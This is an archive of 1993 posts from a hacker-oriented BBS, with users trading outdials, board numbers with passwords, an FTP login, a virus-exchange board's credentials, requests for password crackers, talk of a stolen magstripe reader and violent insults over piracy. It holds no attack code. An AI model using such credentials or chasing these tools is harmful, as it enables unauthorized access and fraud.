internet. So if you want to talk, please mail. or finger me, if you
want an online talk conecton. (finger u920400@daimi.aau.dk), or mail
tau@daimi.aau.dk.
se you later!
\tau?
From vapor@yabbs Thu May 6 00:35:58 1993
From: vapor@yabbs
To: mohawk@yabbs
Subject: re: 40hex
Date: Thu May 6 00:35:58 1993
ok, but my email is down right now..
ajohnson@milo.nodak.edu (may not work, try it)
gmorehou@sendit.nodak.edu (nother hack account, same story)
From vapor@yabbs Thu May 6 17:17:50 1993
From: vapor@yabbs
To: all@yabbs
Subject: mail
Date: Thu May 6 17:17:50 1993
Alright, anyone trying to send me mail, ajohnson doesnt work,
and gmorehou is down but you can send mail, I will just get it
a few days late
From kamakize@yabbs Thu May 6 19:06:06 1993
From: kamakize@yabbs
To: greywolf@yabbs
Subject: the
Date: Thu May 6 19:06:06 1993
the 703 vtcbx is only to on cmapus systems which go down May 8th (grad
ect..) but cbx is still up it USED to only call Blacksburg,Va
(703-951 253,952(?)) and the bbses were 25XXX or 22XXX or 23XXX or 24XXX
From kamakize@yabbs Thu May 6 19:07:57 1993
From: kamakize@yabbs
To: tboe@yabbs
Subject: try
Date: Thu May 6 19:07:57 1993
as on a umontreeal od which i use i have to do this for the number
99484802 that is all.. no ATDT for Dial: its like a simpe term has atdt
ready to go. first try it without the nine then withg the 9
have a nice day
From kamakize@yabbs Thu May 6 19:10:25 1993
From: kamakize@yabbs
To: kamakize@yabbs
Subject: re: try
Date: Thu May 6 19:10:25 1993
ok.. for those to e-mail me this is a legal address
kamakize@delphi.com
i can send you info on internet if you e-mail me there!
From wonko@yabbs Thu May 6 19:25:40 1993
From: wonko@yabbs
To: mohawk@yabbs
Subject: re: 40hex
Date: Thu May 6 19:25:40 1993
In message 40hex, mohawk said:
> I think illumina's board has it, he has his board # and NUP in his info
> file here. If you want to wait before calling l/d, I can check and tell
> you by tomorrow.
> mohawk
> mohawk@santafe.edu
his HD crashed recently, so if you look for the file and it says it's
there but it really isn't send me mail and i will have it put online.
Wonko the Sane
wonko@fubar.bk.psu.edu
?
From pat@yabbs Fri May 7 14:07:01 1993
From: pat@yabbs
To: all@yabbs
Subject: re: 703 dialout
Date: Fri May 7 14:07:01 1993
You might also be interested in 386BSD or Linux... both of which are
full implementations of UNIX. And absolutely free!
BTW, yabbs will compile with no errors on 386BSD.
pat@tstc.edu
From htoaster@yabbs Fri May 7 21:32:39 1993
From: htoaster@yabbs
To: pat@yabbs
Subject: re: 703 dialout
Date: Fri May 7 21:32:39 1993
In message re: 703 dialout, pat said:
> You might also be interested in 386BSD or Linux... both of which are
> full implementations of UNIX. And absolutely free!
>
> BTW, yabbs will compile with no errors on 386BSD.
>
> pat@tstc.edu
or linux or a whole lot of other systems...
htoaster
?
From stone@yabbs Sat May 8 19:24:58 1993
From: stone@yabbs
To: all@yabbs
Subject: Hackers helper
Date: Sat May 8 19:24:58 1993
Today I was on my way to Pittsburg, and I saw a store that was called
"Hackers Helper" !! :) Anyone heard of it ??? I wonder what kind of
store it is..............
Stone
From greywolf@yabbs Sun May 9 03:20:22 1993
From: greywolf@yabbs
To: all@yabbs
Subject: OUTDIALS, FSP
Date: Sun May 9 03:20:22 1993
Anybody have some outdials for europe, or GODs? And anybody else got some
fsp sites? good ones that is.
GREY WOLF
From greywolf@yabbs Sun May 9 03:21:36 1993
From: greywolf@yabbs
To: all@yabbs
Subject: santafe bbs
Date: Sun May 9 03:21:36 1993
Anybody been able to get an account there? I call it up, enter bbs, then
apply for an account.. it logs me off says to call back.. I call back, and
instead of entering bbs, I enter my new login id (that it tells me to use)
and my password, but it doesnt let me in. I've tried it at least 3 times..
anybody know what's up?
GREY WOLF
From holden@yabbs Sun May 9 14:58:33 1993
From: holden@yabbs
To: all@yabbs
Subject: scene in pitt
Date: Sun May 9 14:58:33 1993
I'm going to Pittsburg (cmu) in the fall as a freshman and have been
hacking here in Calif. all my life. How is the scene? Here in Calif.,
there are many pacbell yards who are unsuspecting, no cller ID,
possibilities of wardialing for days, etc. etc.
Also, could someone reply to this msg as to where I could get an e-mail
acct?
From htoaster@yabbs Sun May 9 22:17:17 1993
From: htoaster@yabbs
To: holden@yabbs
Subject: re: scene in pitt
Date: Sun May 9 22:17:17 1993
In message scene in pitt, holden said:
> I'm going to Pittsburg (cmu) in the fall as a freshman and have been
> hacking here in Calif. all my life. How is the scene? Here in Calif.,
> there are many pacbell yards who are unsuspecting, no cller ID,
> possibilities of wardialing for days, etc. etc.
>
> Also, could someone reply to this msg as to where I could get an e-mail
> acct?
No caller id in pittsburgh either. As for the scene, it isn't that
great...pretty small 2600 meetings, and not that much going on...As for
an account, you get one from cmu a few days before you arrive. No idea
before then...
htoaster
?
From proteus@yabbs Sun May 9 23:41:32 1993
From: proteus@yabbs
To: htoaster@yabbs
Subject: re: scene in pitt
Date: Sun May 9 23:41:32 1993
you could always go and buy an account from some cheap place...
i think telerama is offering accounts in pittsburgh for 30 bucks a
month...and that includes infinite usage. i could look around for the
number if you're really interested in an account..
oh well....
---proteus
From zyklon-b@yabbs Sun May 9 23:55:41 1993
From: zyklon-b@yabbs
To: binkley@yabbs
Subject: 40hex
Date: Sun May 9 23:55:41 1993
Try Ripco ][ or RuneStone...
From zyklon-b@yabbs Sun May 9 23:57:41 1993
From: zyklon-b@yabbs
To: binkley@yabbs
Subject: Forum-BBS
Date: Sun May 9 23:57:41 1993
I haven't seen any of the Forum-clone BBS software at any sites...
However, do call [BoSS] at 1.304.697.6131 and mention ZyKLoN-b (and that I
mailed you on YABBS) and you'll get access -- there's a really good
selection of BBS softwares available...
From holden@yabbs Mon May 10 00:00:06 1993
From: holden@yabbs
To: proteus@yabbs
Subject: re: scene in pitt
Date: Mon May 10 00:00:06 1993
don't worry 'bout it.. I need an anonymous acct.
From proteus@yabbs Mon May 10 00:35:23 1993
From: proteus@yabbs
To: holden@yabbs
Subject: re: scene in pitt
Date: Mon May 10 00:35:23 1993
okay...well, vitroth was offering anonymous acct's earlier this year
(which meant you could go thru an annex dialup) but he stopped for some
reason or other...
---proteus
From rdx@yabbs Mon May 10 18:58:36 1993
From: rdx@yabbs
To: all@yabbs
Subject: dialout.ucsd.edu
Date: Mon May 10 18:58:36 1993
Can anyone tell me about hout to use dialout.ucsd.edu when i connect it
just hang there till the connection is timed out?
From vitroth@yabbs Mon May 10 23:18:03 1993
From: vitroth@yabbs
To: proteus@yabbs
Subject: re: scene in pitt
Date: Mon May 10 23:18:03 1993
In message re: scene in pitt, proteus said:
> okay...well, vitroth was offering anonymous acct's earlier this year
> (which meant you could go thru an annex dialup) but he stopped for some
> reason or other...
>
> ---proteus
when I get back from vacation this fall I plan to again offer accounts...
I will however require some sort of verifiable name/way to contact you.
these however will NOT be given out, unless you are caught doing
something illegal.
the reasoning behind this lies in why I shut down this semester.
hacking... both into the system and out of...
first off, hacking into a free system is stupid!! where's the point??
second hacking from a sight where the sysadmin is being kind enough to
give you free access is ALSO dumb...
So, to repeat... I will again be offering accounts in the fall. I will
require some sort of ID. I will allow users to do whatever they want on
the system (within reason) as long as it doesn't get ME, CMU, or the user
in trouble, or have the POTENTIAL to do so...
Also in the fall I will most likely be running a copy of yabbs on the
machine. but we'll see about that...
Also note that I am running basically a beta OS (linux)... thus problems
seem to be frequent... hopefully the tcpip bugs will be fixed by the
fall.
I'll be leaving for home in two days, and probably won't stop by here
before then... My email for the summer will be vitroth+@cmu.edu
(forwarded to my home town)... Enjoy the summer... see you in the
fall.
-Vit...
?
From ziplock@yabbs Tue May 11 10:56:54 1993
From: ziplock@yabbs
To: zyklon-b@yabbs
Subject: re: Forum-BBS
Date: Tue May 11 10:56:54 1993
In message Forum-BBS, zyklon-b said:
> I haven't seen any of the Forum-clone BBS software at any sites...
> However, do call [BoSS] at 1.304.697.6131 and mention ZyKLoN-b (and that I
> mailed you on YABBS) and you'll get access -- there's a really good
> selection of BBS softwares available...
you can look around in /pub/BBS-software on uglymouse.css.itd.umich.edu
(141.211.182.53). I can't remember if I have forum hacks in there or not.
Haven't looked in a while. If you have stuff that I'm missing, dump it in
/incoming.?
From pegasus@yabbs Tue May 11 12:49:00 1993
From: pegasus@yabbs
To: all@yabbs
Subject: FSP
Date: Tue May 11 12:49:00 1993
Hi!
Just want you to know that someone (a guy from germany) has posted the
fsplist.041993 to the newsgroup alt.comp.fsp In the article the address to
severeal warez sites were included, so I don't think you can expect these
sites to live for to long.
Pegasus
From holden@yabbs Tue May 11 19:10:12 1993
From: holden@yabbs
To: vitroth@yabbs
Subject: re: scene in pitt
Date: Tue May 11 19:10:12 1993
I don't need to spunge any account. Finally got a generic email
address..
Umm.. People were hacking INTO your system? They triying to get
shell or something?
What about cmu getting pissed off? I mean, you pay a good $25k/year
to go to the fucking school. They provide you with ethernet connections,
true, but you should be allowed to do what ever you want. Do they
impose any shit like say "we can shut your access whenever we want,"etc
Starting fall I'll be paying 25k/year at cmu as a frosh and I better be
allowed to set my ibm up with linux and run a chat system for all my
friends.
?
From nivek@yabbs Wed May 12 10:13:52 1993
From: nivek@yabbs
To: all@yabbs
Subject: Crakers an d scanners
Date: Wed May 12 10:13:52 1993
Hi! I need a cracker for the macintosh chooser extenstion, that will find
username and password...also interested in scanner progs...where can I
find some (good sites, etc) THis isn't for anything illegal:) I just
want the warez
Peace, love and anarchy, Nivek
From comrade@yabbs Sun Aug 15 01:01:10 1993
From: comrade@yabbs
To: all@yabbs
Subject: AWA
Date: Sun Aug 15 01:01:10 1993
Join Us
Join Us
Join Us
AWA - Anti Warez Association
We kick Ass
Find out for yourself....
ftp etext.archive.umich.edu - /pub/Zines/AWA
Start from issue three and read back to two and one. Youll enjoy it more
that way... Warez suck man.
We need your feedback we need your submissions.
Jason Farnon
comrade@gnu.ai.mit.edu
From fatdog@yabbs Wed Aug 18 08:18:49 1993
From: fatdog@yabbs
To: greywolf@yabbs
Subject: re: OUTDIALS, FSP
Date: Wed Aug 18 08:18:49 1993
>Anybody have some outdials for europe, or GODs? And anybody
>else got some fsp sites? good ones that is.
>
>GREY WOLF
mail some my way if u can...
much appreciated, FaTDoG..
From galaxie@yabbs Wed Aug 18 11:38:52 1993
From: galaxie@yabbs
To: all@yabbs
Subject: fsp sites..
Date: Wed Aug 18 11:38:52 1993
After a long summer, all the fsp sits inthe world go sour (go figure)
Anyone out there have any sort of listing for this weeks fsp sites.
I can not offer to trade any with you right now, but will be able
to probably in the future once I get my feet back in the net.
Email preferred...mondays@bsu-cs.bsu.edu
?
From neuroph@yabbs Wed Aug 18 17:23:43 1993
From: neuroph@yabbs
To: comrade@yabbs
Subject: re: AWA
Date: Wed Aug 18 17:23:43 1993
Fuck you man. The AWA sucks shit. (note to all vengeful warez.lovers,
someone from the same site as this pleb posted that huge Warez site list
to alt.security, even tho half of it was bullshit, they still must die!)
Death to you.
From gaunt@yabbs Thu Aug 19 03:55:58 1993
From: gaunt@yabbs
To: all@yabbs
Subject: Relays
Date: Thu Aug 19 03:55:58 1993
Does anyone know of a site that offers telnet or ftp relay
facilities? I know about a couple of terminal servers you
can bounce off of, and I'm willing to trade these for some
new sites.
You can catch me at aa1@st-and.ac.uk if you want to take
it to email.
Gaunt.
?
From comrade@yabbs Thu Aug 19 16:44:19 1993
From: comrade@yabbs
To: octal@yabbs
Subject: re: AWA
Date: Thu Aug 19 16:44:19 1993
Thanks for the AWA support. Write something man.... You know where to
reach us.
From iceman@yabbs Thu Aug 19 18:48:12 1993
From: iceman@yabbs
To: pegasus@yabbs
Subject: re: FSP
Date: Thu Aug 19 18:48:12 1993
Re: Posting of FSP warez sites
Good, I hope they all die, along with the meatheads who use them.
iceman
iceman@silicon.bison.mb.ca
From nerve@yabbs Thu Aug 19 23:15:29 1993
From: nerve@yabbs
To: all@yabbs
Subject: ...
Date: Thu Aug 19 23:15:29 1993
Call Ionic Destruction at 215/722-0570, NUP=ROOM 246. Mention
that you got the number from here and you will get immediate
access. Best HPA board in PA, no warez, text based. Good users..
nuf said...
Optik Nerve
From maestro@yabbs Sat Aug 21 19:10:53 1993
From: maestro@yabbs
To: all@yabbs
Subject: 604
Date: Sat Aug 21 19:10:53 1993
The 604 Scene is pretty wild now, its in British Columbia BC, Theres quite
a few good BBS's out there, worth checking out....
The Sanitarium BBS! 604-272-5980
Great Discussion, and Great Files..
To the sysop here, how would i go about uploading onto here, i can upload
alot my groups text files 'Sighkadelickz EMAG' we're only interested in
hacking, and electronics projects and stuff so we've had no complaints so
far....
See ya!
~ ThE MaEsTrO ~
From htoaster@yabbs Sun Aug 22 00:26:01 1993
From: htoaster@yabbs
To: maestro@yabbs
Subject: re: 604
Date: Sun Aug 22 00:26:01 1993
In message 604, maestro said:
> To the sysop here, how would i go about uploading onto here, i can upload
> alot my groups text files 'Sighkadelickz EMAG' we're only interested in
> hacking, and electronics projects and stuff so we've had no complaints so
> far....
ftp to this machine, log in as ftp, and dump it in /incoming.
alex
?
From noc@yabbs Sun Aug 22 04:25:16 1993
From: noc@yabbs
To: all@yabbs
Subject: sanctuary.
Date: Sun Aug 22 04:25:16 1993
When will scantuary be back up???
From valgamon@yabbs Sun Aug 22 17:14:40 1993
From: valgamon@yabbs
To: all@yabbs
Subject: PGP
Date: Sun Aug 22 17:14:40 1993
I need some serious help using PGP. it seems to be the big craze lately,
but I don't have a clue how to use it. can anyone help?
?
From valgamon@yabbs Sun Aug 22 17:16:35 1993
From: valgamon@yabbs
To: all@yabbs
Subject: new H/P/A ftp site
Date: Sun Aug 22 17:16:35 1993
cc.nsysu.edu.tw
login: UFi
pw: UFi_ftp
dir: /ufi/
please contribute, we're just starting out.
-Lord Valgamon
slt2r@cache.declab.usu.edu
?
From griton@yabbs Mon Aug 23 00:10:34 1993
From: griton@yabbs
To: all@yabbs
Subject: C00l h/p , music pc board!
Date: Mon Aug 23 00:10:34 1993
Call to...
Scream! BBS
+54.[0]1.72.6305
24-8 east time.
h/p, Pc Music, Cracks, VGA Stuff, friends....
To C00l Axes:
name: INTER
pw: NET
Your sysop...
El Griton
From griton@yabbs Mon Aug 23 00:12:55 1993
From: griton@yabbs
To: all@yabbs
Subject: Member Wanted!
Date: Mon Aug 23 00:12:55 1993
A new h/p international group is boring....
WANTED MEMBERS...
we need:
.Pc/Amiga
.14.4
.x25,bbox,inet axes
.girl (or boy)
if u think you are in the rulez... mail me...
El Griton
From griton@yabbs Mon Aug 23 00:15:05 1993
From: griton@yabbs
To: htoaster@yabbs
Subject: Yo! sysop.
Date: Mon Aug 23 00:15:05 1993
nice bbs :)
congratulations.. :)
if u need anything... say me
(a ni, axes, any...:)
bye.
El Griton
From karlm@yabbs Thu Aug 26 12:45:03 1993
From: karlm@yabbs
To: valgamon@yabbs
Subject: re: new H/P/A ftp site
Date: Thu Aug 26 12:45:03 1993
Please post or email me the right password
UFi_ftp doesn't work.
KarlM
From comrade@yabbs Thu Aug 26 13:03:41 1993
From: comrade@yabbs
To: maestro@yabbs
Subject: re: 604
Date: Thu Aug 26 13:03:41 1993
617-599-7154
textfiles
data only
From thedev@yabbs Thu Aug 26 13:51:09 1993
From: thedev@yabbs
To: hankster@yabbs
Subject: re: 703 dialout
Date: Thu Aug 26 13:51:09 1993
You can't telnet to VaTech? try telneting to vtcbx.cc.vt.edu
(128.173.16.6). It's a 7-bit connection, but you can connect
to all on campus bbs's and all the tech hosts through vttelnet.
TheDev
From iceman@yabbs Sun Aug 29 13:18:08 1993
From: iceman@yabbs
To: all@yabbs
Subject: Add
Date: Sun Aug 29 13:18:08 1993
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From griton@yabbs Sun Aug 29 14:46:09 1993
From: griton@yabbs
To: iceman@yabbs
Subject: Yo.
Date: Sun Aug 29 14:46:09 1993
Yo.. mna!
are u a sysop of thisboard?
ehhhh?
see ya i the board?
call to scream..
see last msg..
El Griton/WL
w3/s
From iceman@yabbs Mon Aug 30 07:56:26 1993
From: iceman@yabbs
To: griton@yabbs
Subject: re: Yo.
Date: Mon Aug 30 07:56:26 1993
Yes i'm the sysop, if you like, call and apply. No prob.
iceman
iceman@silicon.bison.mb.ca
From comrade@yabbs Mon Aug 30 11:43:43 1993
From: comrade@yabbs
To: iceman@yabbs
Subject: re: Add
Date: Mon Aug 30 11:43:43 1993
AWA. Your board is bound to kick ass :)
From greywolf@yabbs Tue Aug 31 02:18:39 1993
From: greywolf@yabbs
To: all@yabbs
Subject: HELP!
Date: Tue Aug 31 02:18:39 1993
I need help bad!! Over the summer I lost my access and when I came back..
Al of my contacts/sites are GONE!! I'm in dire need of any hack info
(code wise especially) that's out there that you can spare.. especially
ODs (preferabbly GODs), hack bbs (like this one) and (ya, I lamed a bit)
Warez sites.. This is QUITE important as this is the ONLY hack related
site on the Net that I'm on.. and.. well..that makes me feel a little..
grimmy :)
So anyone who posts/mails me here I will be IMMENSLEY gratified!! Thank
you!!
GreyWolf!
From presiden@yabbs Tue Aug 31 14:31:06 1993
From: presiden@yabbs
To: all@yabbs
Subject: Looking for portnumbers
Date: Tue Aug 31 14:31:06 1993
Hello,
I have discovered a bug in a local system, so I'm now able to telnet, the
only restriction is that i must tlenet to a site with a portnumber. So has
anybody some numbers for me??
Thanks in advance, you won't regret it!
Cya!
The President.
P.S. Yes, indeed, I'm back!
From Lucifer@yabbs Sun Sep 5 04:26:04 1993
From: Lucifer@yabbs
To: pez@yabbs
Subject: re: scanners
Date: Sun Sep 5 04:26:04 1993
Have you tried the scanner in Terminate 1.0 (assuming you have a PC)???
It looks pretty good, a bit of a bitch to get into as it acts like the
movie Wargames and waits for you to enter your name as joshua...
From VI@yabbs Sun Sep 5 04:32:32 1993
From: VI@yabbs
To: comrade@yabbs
Subject: re: AWA
Date: Sun Sep 5 04:32:32 1993
GEEK!!!
Don't you have anything better to do with your life than write up an
entire magazine about how much you can't stand "warez?" I mean, if
you don't like the kids who are cracking warez and distributing them,
then why don't you just NOT PARTICIPATE?
And you _SUPPORT_ someone who supports the SPA and net-police? Someone
should kick your fucking teeth in and throw your nark, rat, squeeler
friend into a barrel of 98% sulfuric acid. There is NEVER anything cool
about a squeeler who turns in people who aren't hurting anyone.
And for the record, I'm not a courier, cracker, pirate BBS sysop, or
anything like that. But, I sure as hell appreciate the fact that they
distribute useful programs.
Aside from the people who destroy property, all people on the net and
"cyberspace" should stick together. You wanna be "anti-warez?" Go
apply to the SPA for a job. Or are you not over 18 yet? Loser.
VI
From VI@yabbs Sun Sep 5 04:45:58 1993
From: VI@yabbs
To: all@yabbs
Subject: HP BBS
Date: Sun Sep 5 04:45:58 1993
Tardis BBS
305.559.9059
H/P/V/A
The latest versions of H/P utils
Hundreds of H/P .txt files
300+ virii
Active message bases
NUP: SYSTEMX
Tell the sysop that Cyber sent you if you expect to see more than a
fed would have access to.
From Artimage@yabbs Tue Sep 7 21:39:45 1993
From: Artimage@yabbs
To: greywolf@yabbs
Subject: re: HP BBS
Date: Tue Sep 7 21:39:45 1993
Ok Grey Wolf, bbs.isca.uiowa.edu has an underground section. It is ok,
kinda for newbies, but that can change. Meet me here or there and we'll
talk.
P.s. I used to be Lord Cyber on this system.
Artimage.-
From iceman@yabbs Wed Sep 8 15:40:26 1993
From: iceman@yabbs
To: comrade@yabbs
Subject: re: Add
Date: Wed Sep 8 15:40:26 1993
you bet. Now Phalcon/Skism Canada!
iceman
iceman@silicon.bison.mb.ca
From illumina@yabbs Sat Sep 11 22:22:57 1993
From: illumina@yabbs
To: all@yabbs
Subject: <no title>
Date: Sat Sep 11 22:22:57 1993
call:
The Virus Outlet AE
215-775-7195
free virii
over 700 online
use login: AE / pass: VIRUS / last 4#s: 0000
call and leech all you want!
From comrade@yabbs Sun Sep 12 11:26:56 1993
From: comrade@yabbs
To: all@yabbs
Subject: re: AWA
Date: Sun Sep 12 11:26:56 1993
You're a looser. I didn't post it, Coup did. But I wish I did. I
applaud coup for doing so.
jas0n "AWA Will Rock Your World" Farnon
From comrade@yabbs Sun Sep 12 11:27:31 1993
From: comrade@yabbs
To: octal@yabbs
Subject: re: AWA
Date: Sun Sep 12 11:27:31 1993
Thank you for AWA Support.
Jason "I'm not against Piracy I'm against Warez" farnon
From comrade@yabbs Sun Sep 12 11:28:24 1993
From: comrade@yabbs
To: all@yabbs
Subject: re: ...
Date: Sun Sep 12 11:28:24 1993
K-Call
617-599-7154
N0W
And chat me.
or download all my tfiles
its a decent board.
i just erased 50 inactive users
should be room for you
From comrade@yabbs Sun Sep 12 11:31:24 1993
From: comrade@yabbs
To: all@yabbs
Subject: re: AWA
Date: Sun Sep 12 11:31:24 1993
VI you're lame. I tried to reply to you, but you don't exist on this
board anymore. You're lame. I'm not supporting that "net p0lice". Warez
d00dz do hurt you idiot. They take up valuable time and massive amounts
of space for their 0 day bullshit.
Are you over 18 looser?
jas0n
From comrade@yabbs Sun Sep 12 11:31:56 1993
From: comrade@yabbs
To: artimage@yabbs
Subject: re: HP BBS
Date: Sun Sep 12 11:31:56 1993
Grey Wolf? The same Grey Wolf from Hack Volumes who posted all the C0deZ
and #s? Nice to see he is still around
jas0n
From octal@yabbs Sun Sep 12 17:11:30 1993
From: octal@yabbs
To: comrade@yabbs
Subject: warez and the INet
Date: Sun Sep 12 17:11:30 1993
I agree with the "no warez on the net" policy. Nobody wants valuable
bandwidth being wasted on that crap. Warez should be forced back to the
dialup bbs's or trading stuff in the back room of a friends house.
Fortunately, all of the truly good, useful programs are available on the
net and free(GNU is a great example of this). The only game that I have
on my system at home is Rogue(unix version), and it's freeware.
As for pirates who would disagree, I would say this:If you can't find what
you want where you live, or on a local board, you just aren't looking hard
enough. I live in a small, hick town, and I could get just about anything
that I desired if I looked hard enough.
Octal
From nphire@yabbs Tue Sep 14 18:41:20 1993
From: nphire@yabbs
To: artimage@yabbs
Subject: re: HP BBS
Date: Tue Sep 14 18:41:20 1993
Hey artimage good to see ya on here!
Anybody know of any H/P/especially V boardZ in 701?
From nphire@yabbs Tue Sep 14 18:43:56 1993
From: nphire@yabbs
To: illumina@yabbs
Subject: re: <no title>
Date: Tue Sep 14 18:43:56 1993
Called the AE, it was down.
Probs?
HEy, I got a /<-RAD place for you to get virii.
Mail me.
It's not LD.
From admiral@yabbs Tue Sep 14 21:06:11 1993
From: admiral@yabbs
To: comrade@yabbs
Subject: re: AWA
Date: Tue Sep 14 21:06:11 1993
Yea, I agree with you on the groups and shit man. Not only that but
if you want to have their warez on your board you have to pay the
group something like $200 a year. That's what I heard about Razor at
least. That's a bunch of bullshit. IMO that's not what warez are if you
have to pay for them.
llatta
From ratpack@yabbs Thu Sep 16 13:12:21 1993
From: ratpack@yabbs
To: all@yabbs
Subject: ...
Date: Thu Sep 16 13:12:21 1993
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3000+ textfiles/newsletters
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From hbeast@yabbs Thu Sep 16 18:53:11 1993
From: hbeast@yabbs
To: all@yabbs
Subject: oldies
Date: Thu Sep 16 18:53:11 1993
Damn, I hate replying to old messages like this, but still...
About BBS software: check out wuarchives, under the MSDOS directory. They
have everything, but stuff gets deleted and added all the time.
gallifrey.ucs.uoknor.edu also was great and had lots of "rare" BBS
programs, but I just logged off there and it's down because of a HD crash.
As for wares on alt.security, the thing that really killed me was when
someone posted an .NFO file made by USA/Fairlight... and that group died
when I still traded wares, and that's been a loong time. Hmm, actually,
the part that killed me was when some people replied to the effect of,
"Gee, looks like we're really getting those pirates!!1!!! Maybe someone
should notify the SPA about all this!!!1!"
herd beasT
From xenon@yabbs Thu Sep 16 21:11:22 1993
From: xenon@yabbs
To: hbeast@yabbs
Subject: re: oldies
Date: Thu Sep 16 21:11:22 1993
USA/Fairlight! Ah, yes. It's good to hear those names admist all the
screaming by the new IBM warez d00dz about how you need a 486 or yer shit
on the screen...speaking of 64 era, I've heard of and even at one time had
some addresses for 64 ftp suites. Demos are my main concern. Believe it
or not, I have a 64 sitting right next to me running at this moment! Wow!
Can you say 1mhz? Ah, well, if anyone has some addresses, I'd ppreciate
immensly. Maybe I'll write 'em down somewhere this time...heh.
Ya know, I remember a time when your computer didn't matter. A time
when users helped eachother out regardless of what piece of shit you had
plugged into the wall. A time when...ah, fuck the sermen, point of
matter: computer users gotta stick togeather especially in this day and
age. Who cares if you have a 486DX/2 running at 66mhz? It's what you do
with it that counts!
--> Xenon
Please send all donations to the Church of the Holy 8-bit.
From phragger@yabbs Sat Sep 18 06:47:43 1993
From: phragger@yabbs
To: ratpack@yabbs
Subject: re: ...
Date: Sat Sep 18 06:47:43 1993
You wouldn't mind posting the ip-address for
uworld.mtlnet.org as well, yes ?
From ratpack@yabbs Sun Sep 19 21:27:56 1993
From: ratpack@yabbs
To: phragger@yabbs
Subject: re: ...
Date: Sun Sep 19 21:27:56 1993
It's not connected to the Internet. It's a MS-DOS based bbs.
uworld.mtlnet.org is my netmail address to a gateway fido-style network
for newsgroups and netmails.
Later
From jon@yabbs Mon Sep 20 14:54:32 1993
From: jon@yabbs
To: all@yabbs
Subject: Life & Death
Date: Mon Sep 20 14:54:32 1993
Does anyone know a good Ftp site that has either Life& Death 1 or 2
?
Any reply would be grateful
From ydancer@yabbs Mon Sep 20 16:36:04 1993
From: ydancer@yabbs
To: all@yabbs
Subject: Mag strip reader
Date: Mon Sep 20 16:36:04 1993
A friend of mine ripped off a magnetic strip reader from work and gave it
to me to screw around with. Anyway, if anyone here knows anything about
magnetic strip readers, or has some kind of software to operate the
things, I'd appreciate any help. Here's some technical stuff about the
thing...
The thing's made by a company called Magtek. It consists of two parts. the
first part is the magnetic strip reader itself. It's connected via a phone
cord to a keypad and 1 line LCD display. The strip reader also has 2 sets
of 8-pin jumpers (16 total) and a serial output, which makes me think that
the terminal/keypad part isn't really necessary (since I could send all
the input to it via the serial connection anyway.
Anyway, any help would be greatly appreciated (I sure as hell don't want
to resort to hooking the thing up and trying to communicate with it
through my terminal software...)
From liqjesus@yabbs Mon Sep 20 17:07:09 1993
From: liqjesus@yabbs
To: xenon@yabbs
Subject: re: oldies
Date: Mon Sep 20 17:07:09 1993
Hmmm...I was around during the "glory days" of the old C64 and
groups like ESI and PE were the kings of warez. I seem to remember
just as many attitudes back then as there are today. This 0 day
warez crap is no new phenomenon!
Yes, I'll even admit that I was once a Warez D00d! Now I barely
find enough time to hit the bars, let alone download all the newest
games (which I never played, but used to upload to other boards)!
-Liquid Jesus-
From htoaster@yabbs Mon Sep 20 18:19:31 1993
From: htoaster@yabbs
To: jon@yabbs
Subject: re: Life & Death
Date: Mon Sep 20 18:19:31 1993
please don't talk about warez here...if people start giving out sites i'm
going to have to put more restrictions on the board. right now we are one
of the few boards that I know of that doesn't require any user info to get
an account, and i would like to keep it that way.
htoaster
From lobster@yabbs Mon Sep 20 21:32:16 1993
From: lobster@yabbs
To: ydancer@yabbs
Subject: re: Mag strip reader
Date: Mon Sep 20 21:32:16 1993
-------------------------
to me to screw around with. Anyway, if anyone here knows anything about
magnetic strip readers, or has some kind of software to operate the
things, I'd appreciate any help. Here's some technical stuff about the
--------------------------
Check Informatik Magazine #2 (INFORM-2.ZIP/ARJ/etc). Count Zero typed
up a great article on magnetic strip readers which can be found in that
mag.
/*-- Lobster --*/
From moth@yabbs Tue Sep 21 13:17:14 1993
From: moth@yabbs
To: all@yabbs
Subject: Phreaking in South Africa.
Date: Tue Sep 21 13:17:14 1993
Hi there people!
I need information on phreaking.
I'm familiar with the basic principles of blue-boxing etc.
Has anybody managed anything on the South African phone net, or do you
know of someone who can help. Has anybody tried ???
The country code is +27 xx xxx xxxx.
Any files or docs would be welcome.
Cheers moth
From xenon@yabbs Tue Sep 21 18:34:25 1993
From: xenon@yabbs
To: liqjesus@yabbs
Subject: re: oldies
Date: Tue Sep 21 18:34:25 1993
Sure, there's always been attitutes as far back as I can remember. I
learned to BS up a storm when I first got my modem just to connect to some
0-0-0-0 BBS. What I am saying is that way-back-when, if you had a
computer and wanted to learn, people were a lot friendlier. Remember
"trainees?" But not only that, it didn't matter much if you were hacking
on a 64, ][c, or a TI. There was a lot more bonding of the underground
regardless of computer type.
--> Xenon
From xenon@yabbs Tue Sep 21 22:50:20 1993
From: xenon@yabbs
To: all@yabbs
Subject: re: Mag strip reader
Date: Tue Sep 21 22:50:20 1993
I've always wanted to get my hands on one of those things and look it
over. Wasn't there an article in 2600 last year about them? If anyone
knows of a supplier for the kind you see in gas stations, restraunts, etc.
where the reader and keypad are all in one unit, pleaze pass the info.
along.
--> Xenon
(too busy "studying" to do anything else...)
From comrade@yabbs Wed Sep 22 16:34:04 1993
From: comrade@yabbs
To: octal@yabbs
Subject: re: warez and the INet
Date: Wed Sep 22 16:34:04 1993
I'm against the warez scene in general, and hate bandwith wasted on it.
Most of the shit can be found locally anyways. GNU is a god-send. I just
might volunteer there next year. Software should be free. I should be
able to have the windows 4.0 source.
"Take a bottle drink it down, pass it aroung, why that crazy marry"
ja
jason
From comrade@yabbs Wed Sep 22 16:36:43 1993
From: comrade@yabbs
To: ratpack@yabbs
Subject: re: ...
Date: Wed Sep 22 16:36:43 1993
I am on underworld, well at least I hope my account still exists. Its a
nice quiet board, I recommend it for everyone.
BUT ratpack I am pissed at you. May Dem0nseed FESTER on your rotting
body. Because Global Domination Factory Outlets are not permitted to
put cows in ANY of thier advertisments... You should know that!
jason
From comrade@yabbs Wed Sep 22 16:38:25 1993
From: comrade@yabbs
To: htoaster@yabbs
Subject: re: Life & Death
Date: Wed Sep 22 16:38:25 1993
This place is pretty free. We were talking about warez sucking, but warez
d00dz mistook it for a k-rad FTP xchange!@# This place is cool. I
wouldn't want to compromize it.
617-599-7154
From xenon@yabbs Sun Sep 26 23:32:29 1993
From: xenon@yabbs
To: liqjesus@yabbs
Subject: re: good old days
Date: Sun Sep 26 23:32:29 1993
Yes, YES, YES! I hate calling a board with a huge 50 page application
asking stupid things like whats ES stand for? Like any asswipe couldn't
read 2600 or Phrack and find out everything in a single issue. I just
have one question...WHY? (er, that's ESS...) I mean, its not like a
